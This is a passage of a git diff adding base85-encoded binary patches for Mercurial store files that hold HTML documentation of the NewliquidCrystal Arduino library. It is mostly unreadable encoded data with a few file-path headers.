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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..94f2577366fe0d8b571030608edc7f08ea18bf98 GIT binary patch literal 7802 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 ME0UJ;2a1@{>iR$%>Hq)$ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..384a3f87f48344d131b226801c1e8f437602596b GIT binary patch literal 2888 zcmV-O3%B$D0RRC20000000>wB03a;@00000005}}|NsC0|NsB~$L*>juz>gFB1pC5 zFl(aD?S*at00000000000001ZoYfg?Q`@-qdwzvh%(O7m#7-JWfFv{909|Hb+ktf1 z{gjbyIdM@euOtWZ@ApWu9Xkn+FmNy18S3bD-Y*^XemVIz9R2We*?wQz9f){U4*VdKWtYL`90x!Nu?dT|}NBVsV6=ACd~`gfqet zB2*L*C!ll6crpWc4iUi(7q>DYK6Nf4KphOlLMp<>=dGcgS(_-fTwgV&=qzFsUD1#V z8vC^8SR!gY7R9${Drg8q6HhjLDKQe1^|4e7M&*=Jg^>dGGOqLnr+QFQBK)aiKhK9C zeGw(9yz-OGiJiqr3V#*yPl*RT$8M-n5b*oOgvQUu?PLn|c(6b`W}F25j~2}re&6^O zUsFbXb*|`a*WEk*2wQ)t*U?uRQ$Z9Bkhef57AaU}r_o0B`co_oG>F=q2vi_KeH7C> zbe)fPaj}Fyp=^LZg@j4^>7(8DaqqYW$V!3;qB)8JK*$qZ9%>a6L5ZFO<$?kDlre2Z zQ9S8m7n^ZHf*>0YYN)5QNX!qQQwtHCgGQ67Izsyg$^Eh31dD+|kqG`1#Kic71AEbI 